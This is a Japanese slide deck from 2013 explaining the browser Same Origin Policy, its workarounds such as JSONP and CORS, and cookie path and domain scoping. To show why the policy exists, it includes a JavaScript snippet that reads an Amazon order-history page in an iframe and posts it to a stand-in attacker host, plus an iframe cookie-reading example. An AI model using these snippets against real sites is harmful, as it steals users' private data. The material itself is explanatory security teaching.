SOPの話
2013/11/14

おまえは誰だ

まずは超おさらい

SOPって何だ

SOPとは
• Same Origin Policy
• 同一生成元ポリシー
現在のWebセキュリティの中心をなす考え方

SOPとは
$.get(‘http://www.bpsinc.jp/feed.xml’);
<iframe src=http://www.bpsinc.jp id=“iframe”></iframe>
var doc = document.getElementById('iframe').contentDocument;
console.log(doc.getElementsByTagName(‘p’)*0].innerHTML);

SOPってなにものだ
「悪いサイトにアクセスしただけで、攻撃受けた」
を防ぐサンドボックスもどき
前提事項
• ユーザはそれほど賢くない
• 悪意のあるサイトにもアクセスしちゃう
• ユーザはそれほど馬鹿じゃない
• 警告を無視してほいほいクリックとかしないだろう
• ブラウザは完璧に違いない
• まともなサイトには、まともなコンテンツしか置
いていないに違いない

SOPって結局なにものだ
• ユーザの情報を守るための、ブラウザのセキュ
リティ機能
• サーバのセキュリティ対策にはならない
• たとえばDDoSへの効果は無い
• ブラウザプラグインは迂回できる

SOPが無いとどうな
る
邪魔くさいからいらないんじゃないか

いいことたくさん
• JavaScriptだけでRSSリーダーが作れる！
• Twitterの埋め込みタイムライン（iframe）のデ
ザインをいじれる！
自由にカスタムしたい

いいことたくさん...？
<iframe
id=‚iframe‛
src=https://www.amazon.co.jp/gp/css
/order-history...></iframe>
var doc =
document.getElementById(‘iframe’).c
ontentDocument;
var text = $(doc).text();
$.post(
‘http://crackerssite.example.com’, { data: text }
);

よくなかった
同じブラウザでログインしている
すべてのサイトを
自由に操作される

何を制限してるのか

SOPの影響を受けるもの
• JavaScriptのXMLHttpRequest
• Flashのリクエスト
• JavaScriptからiframeへのアクセス
• JavaScriptからcanvasへのアクセス
• WebStorage
• X-Frame-Options
• Cookie
• Basic/Digest認証
もっと複雑
※他にもあります

JavaScriptからcanvasへの
アクセス
var img = new Image();
img.src = ‘http://example.com/secretimg.png’;
img.onload = function() {
var canvas = $('canvas')[0];
var ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
var data = ctx.createImageData(50, 50);
}

file:// プロトコル
• Chrome, Safari
• XHR禁止
• Firefox
• サブディレクトリ許可
• Downloadsディレクトリ危ない
• IE7～
• JavaScript実行に警告
• IE6
• なにそれおいしいの

SOPを回避する技術
だって別のサーバと通信したい

JSONP
• サーバが関数呼び出し形式でレスポンスを返す
• まさか、認証が必要な機密情報をホイホイ
JSONPで返す馬鹿なAPI開発者はいないだろう
// 呼び出し側がやること
<script src=‚http://api.example.com/action?callback=hello‛></script>
<script>
function hello(data) {
</script>
// サーバが返す内容
hello(‚API Response‛);
alert(data);
}

Flash + crossdomain.xml
• サーバに、アクセス許可ポリシを置いておく
• Flashはそれがあるサーバにはアクセスして良
い
• まさか、深く考えずに全許可とかする馬鹿な
Webアプリ開発者はいないだろう
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

デスクトップアプリ、
Android/iOSアプリ、ブラウザア
ドオン
• 何でもできる
• まさか、深く考えずにインストールする馬鹿な
ユーザはいないだろう

CORS
• Cross Origin Resource Sharing
• XMLHttpRequest Level 2
• ブラウザは試しにアクセスしてみる
• サーバがAccess-Control-Allow-Originヘッダなどを返
す
• ブラウザは、ヘッダを見てアクセスOKなら処理続
行
• ブラウザは、ヘッダを見てアクセスNGなら処理中
止
• サーバ、クライアント両方対応が必要
• Opera, IEは非対応

Reverse Proxy
※回避してない
説明いらないですよね

ところでSame
Originって

何をもって「Same」?
http://bps:password@s1.example.com:80/path/index.html?q=p#sec1
• プロトコル
• ドメイン名
• FQDN
• 認証情報
• ポート番号
• IPアドレス
• パス

何をもって「Same」?
http://bps:password@s1.example.com:80/path/index.html?q=p#sec1
• プロトコル
• ドメイン名
• FQDN
• 認証情報
• ポート番号
• IPアドレス
• パス
IPアドレスは見ない！
httpとhttpsは区別される！

だが しかし！
• 例外1
• document.domain
• 例外2
• Cookie

document.domain
// login.example.comで以下のJavaScriptを実行
documnet.domain = ‘example.com’;
// mypage.example.comで以下のJavaScriptを実行
document.domain = ‘example.com’;
↓
2つのサイトでJavaScript操作ができる！
制限を緩くする機能
document.domain = ‘verisign.com’; // さすがにエラーです
documnet.domain = ‘com’; // 攻撃され放題です

Cookie
• デフォルトではhttpとhttpsで共有される
• secureを付けるとhttpsでのみ送信される
• path指定で、送信範囲を狭くすることができる
• セキュリティを向上・・・？
• domain指定で、送信範囲を広くすることがで
きる
• サブドメイン間で共有

Cookie: path
共用ホームページサーバで使われている
(http://example.com/)
Set-Cookie: SessionID=12345; path=/yamada
http://example.com/
=> Cookieが送信されない
http://example.com/tanaka
=> Cookieが送信されない
http://example.com/yamada
=> Cookieが送信される

Cookie: path
実は、セキュリティ上全く意味が無い
(http://example.com/cracksite)
iframeはpathではなくOriginで判断！
<iframe id=‚iframe‛ src=‚http://example.com/yamada‛></iframe>
<script>
var doc = document.getElementById(‘iframe’).contentDocument;
var cookie = doc.cookie
</script>
フォルダ名で分ける共用サーバを使うのはやめましょう。
信頼できない人に特定フォルダ以下にスクリプト置かせるのもやめましょ
※httpOnlyで多少は緩和できる

Cookie: domain
(http://foo.example.com/)
Set-Cookie: SessionID=12345; domain=??????
設定する値
有効範囲
（未指定）
foo.example.com
← いちばん限定される
bar.foo.example.com Cookieは設定されない
hoge.example.com
Cookieは設定されない
foo.example.com
*.foo.example.com
← 未指定より広くなる
example.com
*.example.com
← いちばん広くなる
google.com
Cookieは設定されない
.com
Cookieは設定されない
← トップレベルは設定不可
指定するとセキュリティ下がりやすい。必要ないなら指定しない。

Cookie: domain
(http://foo.example.com/)
Set-Cookie: SessionID=12345; domain=??????
設定する値
有効範囲
（未指定）
foo.example.com
← いちばん限定される
bar.foo.example.com Cookieは設定されない
hoge.example.com
Cookieは設定されない
foo.example.com
*.foo.example.com
← 未指定より広くなる
example.com
*.example.com
← いちばん広くなる
google.com
Cookieは設定されない
.com
Cookieは設定されない
← トップレベルは設定不可
これはどうやって判別してるのか？

Cookie: domain
Only hosts within the specified domain can set a
cookie for a domain and domains must have at least
two (2) or three (3) periods in them to prevent
domains of the form: ".com", ".edu", and "va.us".
Any domain that fails within one of the seven special
top level domains listed below only require two
periods. Any other domain requires at least three.
The seven special top level domains are:
"COM", "EDU", "NET", "ORG", "GOV", "MIL", and
"INT".
http://curl.haxx.se/rfc/cookie_spec.html

Cookie: domain
特定されたドメイン内のホストだけは、一つの
ドメインに対してクッキーを設定することがで
きます。そして、ドメインは、".com", ".edu",
"va.us"のような形式のドメインを除いて、ドメ
イン名の中に少なくとも２つか３つのピリオド
を含んでいなければいけません。以下に示す７
つの特別なトップレベルドメインに含まれない
ドメインのうち、いくつかは２つのピリオドが
必要となり、それ以外のドメインは、少なくと
も３つ必要です。７つの特別なトップレベルド
メインは、次のとおりです。："COM", "EDU",
http://www.futomi.com/lecture/cookie/specification.html
"NET", "ORG", "GOV", "MIL", "INT"

Cookie: domain
そんなわけがない

Cookie: domain
ドメインの例
Suffixの長さ
example.com
1
example.jp
1
example.co.jp
2
example.tokyo.jp
2
example.machida.tokyo.jp
3
example.machida.kanagawa.jp
2
example.yokohama.jp
2
example.city.yokohama.jp
3
example. a.ssl.fastly.net
4
http://publicsuffix.org/

Cookie: domain
7233行
2013年11月現在
こんなリストをMozillaとかが地道に作っている

Cookie: domain
Chromeのソースで
も見てみよう
net/base/registry_controlled_
domains/effective_tld_names.
cc
http://git.chromium.org/gitwe
b/?p=chromium.git;a=blob;f=n
et/base/registry_controlled_d
omains/effective_tld_names.c
c;h=074a031708d21fa7adb8c
b6fca3b70d69c866bcc;hb=HE
AD

Cookie: domain
Chromeのバイナリでも見て
みよう
%USERPROFILE%AppDataLo
calGoogleChromeApplicatio
n30.0.1599.101chrome.dll

まとめ

まとめ
• CORSによって、Webのセキュリティは保たれ
ている
• 考え方はとてもシンプル
• 同一生成元は信頼できる
• 実際はとても複雑
• それがWebの歴史です
超おすすめ